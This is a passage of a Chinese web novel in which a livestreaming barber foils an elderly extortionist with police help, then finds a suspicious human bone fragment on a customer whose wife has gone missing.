付完钱，隔壁宠物店的门铃声“叮铃”一声响起，胖子耳朵动了动。 “我来生意了。” “先去忙了。” “标本先放在你这里了。” 话音未落，脚步已经跨出店门，肥大的裤腿带起一阵风，转眼就消失在门口。 “吱呀——”理发店的门再次被推开，一个身形佝偻的小老头走了进来。 老头戴着一顶褪色的棒球帽，帽檐压得很低，几乎遮住了半张脸。 他左右环顾一圈，浑浊的眼珠滴溜溜地转着，脸上堆起不自然的笑容，褶皱如同干涸的河床般在脸上蔓延。 “小伙子，给我剪个头。” 林澈目光扫过老头，虽说平日里总告诫自己不能以貌取人，但眼前这人眼眶深邃得如同枯井，眼神躲闪却又透着一股精明，让人心里莫名升起一丝警惕。 直播间网友也都看到了老头的样貌。 “这老人家长得不像是好人啊。” “确实，感觉就有问题。” “俗话说相由心生，恐怕真有问题。” 林澈很快收敛了思绪，毕竟开门做生意，哪有往外推顾客的道理。 露出职业性的微笑，伸手示意老头。 “大爷，来您坐下。” “剪个短发？” 老头点头，喉结上下滚动了一下，声音沙哑。 “嗯嗯，天热了，短发好。” “对了，你这能修脸吗？” 林澈轻轻摇头，语气礼貌而疏离。 “没有这项服务。” 大爷回头直视面前的镜子。 林澈拿起推子，发出轻微的嗡鸣声，手腕翻转，开始一点点修理老头的头发，碎发簌簌落在围布上。 就在这时，“砰”的一声，胖子满脸笑容地推门而入，脸上的兴奋溢于言表。 “哥们，你是不知道。” “刚刚老顾客看我的眼神都变了。” “他都在夸我突然变帅了。” 胖子跨进理发店的脚步戛然而止，脸上的笑容瞬间凝固，如同被速冻的蜡像。 目光死死盯在椅子上的老头身上，原本眯成缝的眼睛猛地瞪大，眼底翻涌着警惕与厌恶。 将林澈拽到角落，压低声音，快速说道。 “兄弟，这老头不是啥好人。” “在咱们这片都出了名的。” “经常逃单、偷东西、和人对骂。” “警察都来了好多次。” “虽说最近半年好了很多。” “但是我劝你别给他剪头了。” “小心惹一身屎。” 林澈顺着胖子颤抖的手指方向望去，正撞上老头从镜子里投来的目光。 大爷叹了口气，扯下脖子上的理发围布，沙哑的声音响起。 “是不是不剪了？” “没事，我习惯了。” 第79章 学艺不精 佝偻着背，褪色的T恤随着动作轻轻晃动，脸上的皱纹里仿佛藏满了失落，浑浊的眼睛低垂着，缓缓往门口挪动。 林澈握着理发推子的手顿了顿，身旁的胖子圆脸上的表情僵住，喉结上下滚动了一下。 “啪！” 胖子突然重重一拍自己的大腿。 瞪着铜铃般的眼睛，眉毛拧成了麻花。 “算了，算了。” “兄弟，你给他剪吧。” “要是不给钱算在我头上。” “十几块而已。” “给我个面子。” 直播间的镜头正对着这一幕，屏幕前密密麻麻的弹幕突然安静了一瞬。 弹幕很快又炸开，一行行字快速划过。 “嗯嗯，看样子应该是浪子回头了。” “主播，给他剪吧。” “毕竟是个老人了，咱们也不能太欺负人家了。” “主播，要是他不给钱，我们给垫付了。” 林澈扫了眼手机屏幕上飞速滚动的弹幕，又转头看向胖子，嘴角勾起一抹带着暖意的笑。 “胖哥，你都说了几块而已。” “大爷，您坐下吧。” 原本已经走到门口的大爷猛地顿住，浑浊的眼睛瞬间亮了起来。 他布满老茧的手慌忙伸进中山装内袋，掏出几张皱巴巴的零钱，布满老年斑的脸笑出层层褶子。 “没事，钱我可以先给。” 说着，他小心翼翼地把钱塞进林澈掌心，生怕动作太急吓到对方。 林澈下意识看向胖子，直播间弹幕又沸腾起来。 “果然是转性了？” “看来之前都看错人了。” “或许只是看上去凶了一些。” 胖子摸着自己圆滚滚的肚子，眼睛瞪得比平时更大，满脸写着不可思议。 “呵，你这人没想到年纪大了，反而变好了。” “这倒是个稀罕事。” 大爷只是温和地笑笑，没有接话，缓缓坐到理发椅上，规规矩矩地挺直了背。 胖子突然凑近，压低声音问道。 “是不是因为你那孙子？” “听说他考公挺顺利的。” 提到孙子，大爷原本平静的脸上瞬间绽放出灿烂的笑容，眼角的皱纹都舒展开来，整个人仿佛年轻了十岁。 “对对对。” “笔试都过去了。” “现在就差一个政审了。” “之后就能吃上公家饭了。” 胖子肥厚的手掌来回摩挲着下巴，衣服随着动作发出窸窣声响。 他斜睨着大爷，眼底藏不住的惊奇。 “没想到你这人之前在附近经常吃霸王餐。” “仗着年纪坑蒙拐骗外人。” “竟然还能有个好孙子。” “让你享福了。” 大爷布满老年斑的脸瞬间笑成一朵菊花，干枯的手指无意识地摩挲着衣角。 “等之后消息下来了。” “请邻居们吃饭啊。” “小伙子，你也一起来吧。” 林澈握着银剪刀的手腕灵活翻转，细碎的黑发簌簌落在围布上。 专注地修剪着发梢，对这番邀请充耳不闻。 胖子圆脸上堆满调侃。 “给钱吗？” “给钱就不去了。” 大爷脸上的笑容骤然凝固，嘴角抽搐两下，张了张嘴又闭上，最终只化作一声叹息，整个店里的空气都变得有些尴尬。 直播间的弹幕如同炸开的锅。 “嘶，胖哥看大爷很不顺眼啊。” “是啊，处处都在挑刺。” “估计有什么过节吧。” “没想到这胖子，看上去这么刻薄。” 十几分钟后。 林澈放下剪刀，抖了抖大爷身上的碎发。 “大爷，您看怎么样？” 镜中的老人侧过脑袋，灰白的头发被修剪得整齐利落，他眯起眼睛仔细端详，苍老的脸上重新绽开笑容。 “小伙子，你这手艺很不错啊。” “比这里之前的师傅强多了。” 可话音未落，他粗糙的手指突然搭上后脖颈。 “我这后面有点问题。” “你再给我修一修。” 林澈凑近一看，没发现啥问题。 大爷却固执地用指甲掐住那截头发，浑浊的眼睛紧紧盯着镜中的倒影。 “这里的头发明显长一些。” 林澈没再解释，修长的手指捏着银亮的剪刀，刀刃刚要贴近大爷后颈蓬松的白发。 就在剪刀即将落下的刹那，大爷的脖颈突然像弹簧般猛地向上弹起，布满老年斑的头皮擦着锋利的剪刀尖划过。 空气里瞬间弥漫起铁锈般的腥气，几滴暗红的血珠顺着剪刀刃蜿蜒而下，在理发围布上晕开点点红梅。 “啊——！”大爷杀猪般的哀嚎震得老旧的玻璃窗嗡嗡作响，他布满皱纹的双手死死捂住后脑，枯瘦的指缝间渗出缕缕血丝。 方才还温和的嗓音突然变得尖锐刺耳，像把生锈的锯子在刮擦铁板。 “你这人会不会剪头啊。” “怎么能用剪刀扎人！” 大爷佝偻的身子在理发椅上剧烈颤抖，浑浊的眼睛里满是“愤怒”。 林澈握着剪刀的手僵在半空，指节因为震惊而泛白。 胖子肥大的身躯如同一座小山般冲了过来，衣服被汗水浸透，紧贴在圆滚滚的肚皮上。 粗壮的胳膊狠狠拍在镜台上，震得瓶瓶罐罐叮当作响。 “艹！” “我就知道你个老东西不会这么好心。” “果然狗改不了吃屎。” “又来这里骗人了！” 直播间的弹幕疯狂滚动，如同汹涌的潮水。 “卧槽！刚刚发生了什么？” “大爷自己突然抬头，然后倒打一耙！” “咱们被这大爷的演技给骗了。” “他之前估计就已经算计好了。” “玛德，被大爷做局了。” 大爷用纸巾按了按后脑，看着上面的血迹，嘴角不易察觉地勾了勾，转瞬又换上一副阴沉的面孔。 “是我的问题吗？” “明明是他学艺不精，扎伤了我，我都流血了！” “你觉得我有问题？” 第80章 你给大爷剪头，剪得很好，大爷很高兴 “你说呢？小伙子！” “是你扎伤了我！” 林澈深吸一口气，目光冷静地与大爷对视。 “大爷，说说你的要求吧。” “这里也没有几个人。” “没必要演戏了。” 话音刚落，大爷脸上的“悲愤”瞬间消失，两只干枯的手来回搓动着，活像一只偷腥得逞的猫。 “没想到你还挺懂事。” “看我的手势，明白了吗？” 直播间的弹幕像炸开的油锅，评论区瞬间被愤怒的语句淹没。 “卧槽！看到他对主播笑，我就感到恶心。” “几分钟前，我还在劝说主播，没想到打脸来得太快。” “恶心，就一个恶心。” “这种好心被人利用，太让人气愤了。” “艹，主播你快给他一拳。” 林澈眼神如炬地盯着大爷。 “你想要多少？” 大爷不慌不忙地伸出两根干枯的手指，指甲缝里还沾着未擦净的血迹，脸上挂着令人作呕的狡黠笑容。 “我也知道你是新开的店。” “但是这附近开店的人，谁没被我要过钱？” “胖子，你说是不是？” 胖子气得满脸通红，肥厚的腮帮子不住地抖动，猛地扭过头去。 大爷见状，笑得愈发张狂，脸上的皱纹都拧成了一团。 “小伙子，你自然也不能例外。” 林澈深吸一口气，眼中闪过一丝寒光，微微点头道。 “确实，你说的有道理。” “我最后再问一遍，大爷，你确定要？” “你确定不后悔？” 大爷斩钉截铁的回答，脸上写满了贪婪。 “确定！” “不后悔！” “利索给吧，我还要给我孙子开庆功会去。” 就在这时，林澈嘴角突然勾起一抹冷笑，毫不犹豫地拿起手机拨通电话。 “喂，警察吗？” “我遇到了诈骗。” “现在骗子已经让我控制住了。” “你们快来人。” 清晰的话语在寂静的理发店内回荡，大爷原本得意的表情瞬间凝固，可转瞬又恢复如常，露出一抹更加张狂的得意笑容。 “小伙子，年轻气盛不服。” “哈哈哈，但是大爷我今年七十多了。” “警察也不会把我带走。” “最多也就是和稀泥。” 说着，他猛地凑近，佝偻的身躯突然挺直，眼神阴鸷地逼近林澈。 “你给大爷剪头，剪得很好，大爷很高兴。” “但是你剪完头，不给大爷钱，大爷不喜欢。” “告诉你从明天开始，我就守着你这店的门口。” “能放进来一个客人，算大爷我这几十年白活了。” “你也不打听打听我曾经道上的诨号。” 大爷一边恶狠狠地威胁着，一边挥舞着手臂，活像一只张牙舞爪的老螃蟹。 林澈死死盯着大爷嚣张的嘴脸。 这分明就是个彻头彻尾的老赖，年轻时估计就不是什么良善之辈，如今上了年纪，仗着法律对老年人的特殊对待，愈发肆无忌惮。 胖子的额头青筋暴起，一把拽住林澈的胳膊，声音里满是压抑的愤怒与无奈。 “这老东西说的是真的。” “我之前就被搞过。” “整整一个月，一个客人都没有。” “报警......警察来了也拿他也没办法。” 胖子的手掌因为用力而微微颤抖，指甲几乎要掐进林澈的肉里 直播间的弹幕如同决堤的洪水，疯狂冲刷着屏幕。 “靠！之前还觉得胖哥怼他，怼得太狠了，没想到胖哥竟然吃过这种亏。” “这应该就是未经他人苦，莫劝他人善。” “胖哥，我现在理解了，当真是骂得好。” “老头说的也没错，他这种人就算是弄到里面，也是换个地方伺候他。” “那现在这情况怎么办？” 大爷仰首挺胸，后背撞得理发椅发出“吱呀”一声巨响，完全没了刚进店时的小心翼翼。 他一屁股陷在椅子里，用沾着血的纸巾慢条斯理地擦拭手指，又伸手胡乱抓了抓头发，嘴角挂着不怀好意的狞笑，活像一只偷到油的老鼠。 林澈轻轻拍开胖子的手，目光沉静如水，语气却带着不容置疑的笃定。 “胖哥，没事。” “一切都在把握之中。” 胖子看着林澈眼底的沉稳，原本剧烈起伏的胸口渐渐平息下来，可攥紧的拳头依旧没有松开。 八分钟后，店外突然传来急促的脚步声。 三名警员推门而入，制服上的金属徽章在灯光下泛着冷冽的光。 这次竟然不是梁国栋带队。 倒是让林澈有点惊奇。 直播间瞬间沸腾，网友们疯狂@起梁国栋。 “@老梁，你什么情况？失宠了？” “你竟然没有来？” “没有见到老梁的一天，想他！” “我在市局接受表彰，唉......想去也去不了啊。” “卧槽！老梁，你真是好上了，都接受表彰了。” “玛德，你可必须要请客吃饭。” “好说，好说，我该上去了，不聊了。” 为首的中年警察一推开门，目光就像两道利箭般射向坐在椅子上的大爷。 古铜色的脸瞬间黑得像锅底，嘴角不受控制地抽搐了两下，警帽下的眉头拧成了一个“川”字。 作为这一片派出所的老警员，他对这位大爷的斑斑劣迹了如指掌，辖区里谁提起这老头不是直摇头，当真是人厌狗嫌的存在。 缓缓收回目光，转向林澈。 “你就是报案人？” 林澈挺直脊背，坚定地点点头。 “对，这人想要诈骗我钱财。” “我这里有录像。” 说着，熟练地解锁手机，手指在屏幕上快速滑动，调出直播间的回放。 中年警察伸手接过手机，却没有立刻查看，而是无奈地咂了咂嘴，眼神里满是疲惫与无奈。 “小兄弟，他年纪很大了，我们最多也就是批评教育。” 林澈神色平静，又点了点头。 “嗯，我知道。” “请如实写到他的档案里。” 第81章 谢谢，你怎么知道我肝癌晚期的 中年警察闻言，浓眉紧紧皱起，脸上写满疑惑。 大爷则是一脸茫然，原本嚣张的笑容僵在脸上，浑浊的眼睛里满是不解。 胖子急得向前跨了一步，问道。 “兄弟，你这么做为了什么？” 林澈嘴角勾起一抹意味深长的笑容，目光扫过众人，缓缓解释道。 “一般情况确实不行。” “但是现在不一样。” 胖子歪着头，肥厚的脸上满是困惑，眉头几乎要拧成一团麻花。 “现在不一样？” 林澈眼神中闪过一丝锐利，不紧不慢地说： “当然，他孙子可是即将要政审。” “虽说行政处罚不会直接被刷下去。” “但也必然会被调查。” “然后他现在做的事情，肯定瞒不住。” “一个老赖的孙子，他就一点没享受到老赖爷爷带来的好处？” “更何况现在公务员，大伙都是排着队抢着要进去。” “只要有一点点的污点就能刷下来。” 话音落下，房间里陷入短暂的寂静。 胖子肥厚的手掌猛地一拍油光发亮的脑门，圆脸上满是恍然大悟的神色：“原来是这样！” 中年警察原本疲惫的双眼瞬间亮起精光，警帽下的眉毛高高扬起。 这老无赖在辖区横行多年，他早就盼着能治治这人了。 大爷原本嚣张的脸色瞬间变得惨白，布满老年斑的额头渗出细密的汗珠，在白炽灯下泛着诡异的光。 他哆哆嗦嗦地摸出裤兜里的老年机，按键时枯瘦的手指不断打滑，好不容易拨通电话，声音里带着连他自己都没察觉的颤抖。 “喂，孙子啊。” “我的行政处罚会不会影响你。” 死寂般的沉默中，仿佛能听到众人的心跳。 大爷佝偻着背，像被抽走了脊梁骨的老狗，耳朵几乎要贴到手机上。 五分钟后，大爷挂断电话，脸上的肌肉抽搐着挤出一个比哭还难看的笑容，褶皱里全是讨好。 “小伙子，大爷年纪大了。” “刚刚都是不小心弄的。” “我其实没啥大事，要不算了。” 转头看向中年警察，眼神里满是哀求。 “赵警官，这里没事了。” “你们走吧。” 林澈双手抱臂，剪刀在指间灵活翻转，金属冷光映着他平静的脸。 “我是报案人。” “你说没事就没事？” 林澈语气平淡得像是在说今天天气不错，却让大爷的笑容瞬间僵在脸上。 大爷的声音陡然拔高，脖颈上的青筋突突直跳。 “你！你要干什么？” “我都说这件事算了。” “小时候爹妈没教你尊老爱幼吗？” 林澈吐出四个字，语气轻飘飘的，却像一记重锤砸在众人心里。 “我是孤儿。” 大爷的嘴唇疯狂抖动，伸出颤抖的手指指着林澈，浑浊的眼睛里布满血丝。 “你！你！你！” “我孙子好不容易能当官，你这是要毁了他吗？” 林澈耸耸肩，嘴角勾起一抹讽刺的笑。 “哦，他因为你吃了那么多好处。” “现在也该轮到他吐出来了。” “谁让他有一个好爷爷呢？” 大爷脖颈暴起青筋，衣服被汗水浸出深色纹路，枯瘦的右手一把抄起铝制折叠桌上的银白剪刀，锋利的刀刃在阳光下折射出冷光。 佝偻的身躯前倾，浑浊的眼珠布满血丝，恶狠狠的目光如淬毒的箭矢般钉在林澈脸上。 身着警服的中年警察后背瞬间绷紧，制服随着动作发出轻微摩擦声，他一个箭步冲上前，手掌如铁钳般抓向大爷握剪刀的手腕。 林澈露出清俊却带着几分痞气的面容，一步走到大爷面前。 “哦？” “你终于想明白了。” “要给我一刀？” “来！刀我！” “这可是故意伤害！” “能入刑的罪！” 直播间弹幕炸开。 “卧槽！主播太勇了。” “人家拿着剪刀，还往前凑。” “没办法，谁让主播拿住了大爷的孙子。” “要是十分钟前我或许还心疼一下，但现在我只想说干得漂亮。” “这位大爷，你也不想你孙子当不了官吧。” “主播只是来体验职业，就算大爷之后报复也根本不怕。” “你这么一说，主播先天立于不败之地。” 大爷握着剪刀的手剧烈颤抖，举起又无力放下。 突然，他膝盖重重砸在地上。 “我......我错了。” “但我孙子他是无辜的。” 林澈后退半步，往旁边挪了挪。 自己本就身患绝症，这要是再折寿，岂不是当扬嘎了。 “想要让我放过你？” “其实也不是不可以。” 大爷猛地抬头，双眼中闪过希冀的光芒。 林澈刻意拖长尾音，目光扫过围观四人。 “很简单啊。” “你只要让这附近的人都原谅你。” “我自然没有问题。” “胖哥，你说呢？” 胖子擦了把脸上的汗水。 搓着双手，肥厚的耳垂激动地发红。 “这真是个好主意。” 大爷浑浊的眼珠瞬间充满感激，布满老年斑的手指抓着自己的衣角。 胖子却慢悠悠地掏出手机，屏幕亮起出现个聊天界面。 故意将手机举到大爷鼻尖前晃了晃，肥厚的嘴角勾起一抹冷笑。 “但我第一个反对。” “原谅？踏马的。” “你当初堵我门，不让我做生意的时候。” “差一点搞垮我的时候，没想到有这一天吧。” 老人的嘴唇剧烈颤抖着，干涸的喉结上下滚动。 “我那是......那是......” 胖子脸上满是笑容，手机屏幕上不断弹出新消息的提示音格外刺耳。 “不用解释了，你快去求别人吧。” “哦，对了。” “我已经把刚刚的事情发到了群里。” “去晚了找不到人，就别怪我了。” 大爷起身，踉跄着后退半步。 猛地挺直佝偻的脊背，枯枝般的手指直指林澈，沙哑的声音在热浪中扭曲变形。 “小崽子！” “你、你们都不得好死！” 林澈单手插兜，另一只手慢条斯理地扯开单肩包的拉链，从内抽出诊断书。 “谢谢，你怎么知道我肝癌晚期的。” 话落，现扬陷入诡异的寂静，胖子举着手机的手僵在半空，中年警察的警帽檐下渗出细密的汗珠，大爷满脸的不可思议。 第82章 那是他孙子，又不是我孙子，关我屁事 手机屏幕上，直播间的弹幕如潮水般疯狂滚动。 观众们的笑声仿佛透过屏幕传了出来，整个房间里都弥漫着轻松诙谐的氛围。 “哈哈哈哈！” “什么诅咒了，对方明明说的就是事实。” “主播不光一点都不生气，甚至还有点小确幸。” “主播：不说了，大爷懂我！” “大爷：怎么办？诅咒都没用了，谁还有办法？” “没办法，等死吧！” “笑得我眼泪都出来了。” 林澈抬手瞥了手机上的时间，嘴角微微上扬。 “大爷，你的时间不多了。” “快去吧，求你之前得罪过的人的饶恕。” “这可是为了你的宝贝孙子。” 大爷浑浊的眼睛瞪得滚圆，眼角的皱纹都跟着深了几分，像是被人踩了尾巴的猫。 重重地哼了一声，猛地转身头也不回地快步离开，鞋踩在地面上发出"啪嗒啪嗒"的声音。 胖子早就凑在一旁，眼睛直勾勾地盯着林澈手中的诊断书。 见大爷一走，他立刻伸出肥胖的手掌，一把抢过那张纸。 低头看着上面的内容，瞳孔猛地收缩，嘴里爆发出一声惊呼。 “卧槽！这是真的！” 中年警察站在一旁，身形微微前倾，目光落在诊断书上，脸上的表情渐渐沉重。 抿了抿嘴，喉结滚动，深深地叹了口气。 林澈看着众人的反应，脸上依旧挂着温和的笑容，仿佛诊断书上的内容与他无关。 “没事。” “接下来就麻烦您了。” 中年警察闻言，轻轻点了点头，从口袋里掏出随身携带的笔记本和钢笔，笔尖在纸上沙沙作响，认真地记录着相关信息。 写完后，他又熟练地从口袋里拿出一个U盘，将直播间的视频拷贝了一份。 就在这时，一阵机械女声在林澈耳边响起，声音带着电子特有的冰冷感。 【直播间观众认可度达到80%】 【宿主当前职业：理发师】 【正在抽取当前职业技能......】 【恭喜宿主获得形象管理】 【发型！发型不能乱！】 门吱呀一声合上，林澈望着警察三人逐渐消失的背影。 转身回到店里时，胖子正瘫在褪色的布艺沙发上，肥大的衣服下摆吊起半截，露出圆滚滚的肚皮。 手指在手机屏幕上快速划动，嘴角咧得老开，手机扬声器里还飘出零星的消息提示音。 门轴发出轻响，带着面香的热气先涌了进来。 穿藏青色围裙的女人跨进门，围裙上还沾着星星点点的面粉，鬓角的碎发被汗水黏在脸上，手里拎着的塑料袋被热气洇出大片水渍，十几个白胖的包子挤挤挨挨地探出尖儿。 “胖子，听说你们把大爷给弄了。” 女人反手带上门，塑料凉鞋在瓷砖上踩出"啪嗒"声。 “他刚刚还瘸着腿跑我包子铺，鼻涕眼泪糊一脸，非要我在什么劳什子请愿书上按红指印。” 说话间将袋子往理发台上一放，热气"腾"地散开，混着荠菜的清香在屋里打转。 胖子忙不迭把手机往沙发缝里一塞，蹭地坐直身子。 肥嘟嘟的手掌拽住林澈的手腕往女人跟前带。 油光发亮的脸上堆满笑意。 “都是这位帅哥办的。” “别谢我，我可没有这么大能耐。” “大姐，你是没看到当时大爷的表情老精彩了！” 林澈被拽得往前踉跄半步，嘴角挂着温和笑意。 “您按手印了吗？” 女人从口袋里抽出张油腻的收据，啪地拍在台面上。 “我让他把这三年吃的二十七个酱肉包、五十六个菜包钱结清了。” 胖子追问道：“他给了？” 女人忽然冷笑一声，指尖敲了敲收据。 “给了，但我没按手印。” “那是他孙子，又不是我孙子，关我屁事。” 胖子听得拍着大腿狂笑。 笑出眼泪，掏出纸巾胡乱抹了把脸。 “就得这么治！” “老东西，现在也让他知道咱们之前的感受。” 女人粗粝的手掌在围裙上擦了擦，忙不迭掀开塑料袋。 “特意留的头锅荠菜包。” “送过来尝尝好吃吗？” 蒸腾的热气中，她眼角的细纹都染上暖意，完全不见刚才怼人的锐利。 胖子早就按捺不住，胖手抓起个包子就往嘴里塞，面皮裂开的瞬间，碧绿的荠菜混着香油的香气涌出来，烫得他直哈气，含糊不清地招呼。 “老弟！这味儿绝了！” “这可是大姐的拿手美食。” “平常都不容易吃一次，快来尝尝。” 说边把第二个包子往林澈手里塞。 林澈接过还发烫的包子，抬眼看见女人正用围裙角擦拭理发台上的水渍，鬓角的碎发被热气蒸得更乱了，却还在念叨着“下次给你们做鲜虾馅”。 接下来的时间。 时不时三四个街坊拎着塑料袋来串门，黄澄澄的枇杷、用油纸包着的绿豆糕...... 林澈还没来得及推辞，胖子一句老街坊送的就收下，没必要见外。 "林小哥。"胖子腆着肚子，凑到正在给客人理发的林澈身边，脸上堆着笑，眼睛眯成一条缝，”你刚来半天，快比我在这条街的威望都大了。" 林澈嘴角微微勾起，手中的剪刀灵活地在客人头发间翻动，碎发簌簌落下，明知故问道。 “啊？” “这不是理所应当的吗？” 直播间弹疯狂滚动。 “卧槽，这里的人也太激动了，不就是收拾了个老头吗？” “楼上的哥们，你这就是见识少了。” “这种老人耍起浑来，真的很无解。” “压迫得太久了，被主播带着报复了一下，大家当然舒服了。” “确实，老坏人的可恶没经历过，一般人无法理解，那是一种深深的无力感。” “看直播都感受到主播的受欢迎程度了。” “从水果到零食应有尽有啊。” “这就是主播的人格魅力吗？爱了爱了！” 理发店的门"吱呀"一声再次被推开，带着一股热风灌了进来。 外卖小哥穿着黄色马甲，额角挂着汗珠，塑料桶在手里晃荡，发出轻微的碰撞声。 径直走向胖子，抬手将塑料桶递过去。 “胖子，你不在自己店里。” “没事竟瞎跑。” “你托我买的稀盐酸。” 第83章 灰白色颗粒 胖子笑盈盈的双手接过塑料桶。 低头看了看桶里的液体，抬头对外卖小哥说。 “谢了。” “跑腿费回头转给你。” 外卖小哥好奇地看了看塑料桶，问道。 “买这玩意干啥？” 胖子将桶放在一旁的桌子上，解释道。 “这东西除尿垢、铁锈啥的都可好用了。” 外卖小哥应了声后转身离去。 不多时又有客人上门。 一个穿洗得泛白牛仔背心夹克的男人走了进来。 夹克拉链只拉到胸口，露出古铜色的脖颈和锁骨下方结实的肌肉，袖口处磨得微微发亮。 小臂肌肉在背心下鼓出结实的线条，腰腹却有些松软的肉感，透着常年劳作的精壮。 胖子立刻从沙发上弹起来，肚子上的肉跟着颤了颤，脸上堆起熟稔的笑。 “郑老板，你也来剪头。” “每个月都是这天，比闹钟还准。” 郑老板眉峰紧锁，眼角耷拉着，唇线紧紧绷成一条直线，只微微颔首作为回应。 胖子凑过去拍了拍郑老板的肩膀，声音放得轻柔。 “还没找到吗？” 郑老板重重叹了口气，沙哑的嗓音里浸着焦虑，手指无意识地摩挲着牛仔夹克的车线。 “唉，联系不上。” 林澈握着梳子的手顿了顿，疑惑地挑眉。 胖子搓了搓手，解释道。 “郑老板和老婆前几天吵架后，昨天失踪了。” “现在郑老板正在发愁。” 又指了指郑老板介绍道 “郑老板是咱们这条街的汽修大拿。” “技术可厉害了。” “不光咱们这条街有店，银河市内还有七家店。” “妥妥的大老板。” 郑老板不耐烦地摆摆手，打断胖子的絮叨，粗粝的手指戳了戳自己的头顶。 “剪短。” 林澈点点头，手中的剪刀在指缝间灵活翻转，刀刃闪过冷光。 剪刀咔嚓声中，一撮撮黑色的头发落在围布上。 当拿起刮刀修整后脖颈时，阳光恰好从百叶窗缝隙里斜射进来。 在郑老板的夹克领口处投下一道光带——那里粘着个米粒大小的灰白色颗粒。 林澈的手指下意识地顿住，轻轻拈起后发现，这东西布满蜂窝状的凹孔，每个小孔都排列得异常规整。 瞳孔微微收缩，指腹摩挲着颗粒表面。 在哪见过这种结构来着？ 郑老板从镜子里看见林澈突然僵住的动作，沙哑地问。 “怎么了？” 林澈指尖轻轻一蜷，将那粒灰白色颗粒滑入口袋，指腹在布料上蹭了蹭，喉咙里发出含混的哼声。 “没事。” “就是您这后脖颈起了个痘。” “刮刀不太好下手。” 郑老板对着镜子扭了扭头，后颈皮肤在荧光灯下泛着健康的小麦色，确实有个微红的小凸起。 便没再多问，粗粝的手掌拍了拍大腿上的围布，碎发扑簌簌掉在地上 林澈三两下修完边角，扯下围布抖了抖。 “郑老板，剪完了。” “诚惠十五。” 郑老板付完款后转身离去。 林澈立刻转身，凑到正在欣赏标本的胖子身边。 指尖捏住那粒东西递过去。 “胖哥，你看看这个。” 胖子眯起眼凑近，双下巴上的肉挤成几层褶皱。 指尖用力一捏，指腹传来生硬的触感。 “这是啥？” “玩具？” “怎么有些眼熟啊。” 直播间弹幕讨论。 “好多孔啊，我的密恐症犯了。” “这才几个孔，就密恐症了，你踏马的别装了。” “但这玩意到底是啥？” “我怎么有一种似曾相识的感觉，好像在哪里见到过。” “别说，我也有这种感觉。” 林澈盯着滚动的弹幕，眉峰在额前投下阴影。 本以为只是自己的感觉，没想到直播间内的观众竟然也都有感觉。 恰在这时，胖子突然一拍大腿。 “我说怎么眼熟呢。” “你看看和这个像不像？” 胖子拿起一旁的标本盒。 将标本的断骨取出来。 迎着阳光，将两者贴在一起。 同样的灰白色，同样呈现排列的蜂窝孔，只是标本断骨的蜂窝孔，比林澈找到的颗粒蜂窝孔小了很多，其他的可以说是一模一样。 林澈喉结滚动着咽下唾沫。 “骨头？” “胖哥，你能看出这是什么动物的骨头吗？” 胖子的小眼睛突然亮起来，像发现老鼠的猫般来了精神。 从口袋里摸出个黄铜边框的放大镜，捏着镜柄转了两圈，金属连接处发出轻微的"咔嗒"声。 把放大镜举到离鼻尖三厘米的位置仔细观察。 随着观察深入，他额头的川字纹越来越深，眉毛几乎要拧成麻花，手指无意识地敲着标本盒边缘，发出闷闷的响声。 “林小哥，能确定这应该是肱骨末端松质骨。” “但是这个是什么动物我一时间真没看出来。” “可以确定不是寻常动物的骨头。” 胖子说着还把放大镜递给林澈。 “你也看看。” “这个和猫咪的松质骨结构完全不同。” 林澈接过放大镜，学着胖子的样子眯起左眼仔细观察。 左右两边的骨头上的蜂窝孔，除了大小根本看不出结构上的不同。 突然灵光一闪。 使用了法医职业卡。 下一秒大量知识在脑海中炸开：骨骼断面的微观结构、组织切片的染色特征、法医实验室里的福尔马林...... 再次透过放大镜观察灰白色颗粒。 能模糊看到颗粒内部竟浮现出类似脚手架的立体结构，纤细的骨小梁呈45度角交错，正是人类为支撑直立行走进化出的特殊结构。 但还要验证是不是骨头。 正好这里就有能够检验的装备。 伸手拿过胖子放在墙角的稀盐酸瓶。 小心翼翼倒出指甲盖大小的液体在瓷盘里。 颗粒刚接触到盐酸，表面立即泛起细密的气泡，"嘶嘶"声像蛇在吐信。 肱骨这么说或许很多人不知道是哪里，直接换成大腿就让人熟悉了。 这是大腿末端的骨头碎片。 别说有个碎片了，就算是大腿骨裂道缝都能让人疼得死去活来。 “胖哥，这应该是人类肱骨末端松质骨碎片。” 第84章 上门送温暖 随即双眼突然瞪大。 “林小哥，这是从哪里搞来的？” 林澈视线仍停留在瓷盘里。 “从郑老板衣服上沾的。” 胖子的手像被烫到般松开。 “他！他老婆刚失踪......” “这......这......” 话没说完就被自己的呼吸呛到，肥胖的身子晃了晃。 林澈面色严肃。 “我找人验一下。” 直播间里，彩色的弹幕如潮水般疯狂滚动，几乎要将屏幕淹没。 “Ohhhhhhhhhh！” “就决定是你了，哈基梁。” “出来吧大宝贝。” “你们这群人放尊重点，现在还叫老梁？叫梁局！” “是！梁局！” 林澈联系的确实是梁国栋。 不多时，一辆白色的轿车缓缓停在理发店门口。 车门打开，梁国栋率先走下车，他穿着一身整洁的常服，步伐稳健。 紧随其后的是小李，同样身着便装，身姿挺拔。 最后下车的是一位身材略显佝偻的老人，却精神矍铄，他穿着一件洗得有些发白的浅蓝色衬衫，领口和袖口都磨得有些柔软，下身是一条深色的长裤，裤脚微微卷起，穿着一双黑色的布鞋。 三人一同走进了理发店。 林澈见三人到来，赶忙拿出骨头碎片，手掌摊开。 梁国栋目光落在那位老人身上，语气里满是尊敬，介绍道。 “钱建军，四十多年的老法医。” “我可是专门把他请出来。” 钱建军听到介绍，脸上露出温和的笑容，伸手挥了挥，手掌宽大而粗糙，手指上还留有一些淡淡的痕迹。 “林澈是吧。” “我都听小梁念叨过你很多次了。” 林澈笑了笑，将骨头碎片又往前递了递，说道。 “钱法医，具体的事，来的路上梁警官肯定和您说了。” “您来看看我们判断的对不对。” 钱建军接过骨头碎片。 胖子站在一旁，眼睛左右上下打量着三人，眼神中带着一丝紧张和好奇。 双手不自觉地在身前搓了搓，喉咙微微动了动，似乎有些局促。 林澈注意到胖子的状态，赶忙给双方介绍起来。 “胖哥，这三位都是刑警。” “梁警官，这位是胖哥，跟我一起发现骨头碎片的人。” 胖子听到介绍，连忙挥手，脸上露出有些僵硬的笑容。 “叫我小胖就行。” “三位警官，您们好。” 直播间的弹幕再次热闹起来。 “你怎么突然就变成了小胖，快把我胖哥还回来！” “胖哥，突然就怂了。” “哈哈哈，什么怂，这叫做从心。” “是啊，本以为只是普通的邻居，结果一个电话喊过来三个刑警，搁谁谁不虚。” 钱建军的目光落在掌心的颗粒上，指尖轻轻摩挲着骨头碎片的纹路。 